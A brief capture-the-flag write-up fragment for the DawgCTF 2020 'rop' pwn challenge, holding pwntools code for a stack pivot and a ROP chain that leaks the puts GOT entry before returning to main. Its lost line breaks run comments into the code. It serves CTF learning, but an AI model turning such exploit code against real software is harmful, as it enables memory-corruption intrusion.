satck pivot first, then use gadget `leave;ret` to entry ropchain
```# stack pivotpayload = cyclic(12)payload+= p32(ebp)          # ebppayload+= p32(0x080496d1)   # return addresspayload+= p32(0xdeadbeef)   # paddingru('So where we roppin boys?\n')se(payload)
# rop1ropchain = p32(elf.sym['puts'])+p32(elf.sym['main'])+p32(elf.got['puts'])pl2 = ropchainpl2+= p32(ebp-0xc-4)  # ebppl2+= p32(leave)      # return addresspl2+= p32(0xdeadbeef) # paddingse(pl2)```
[more details](http://taqini.space/2020/04/13/DawgCTF-2020-Pwn-rop-Writeup/)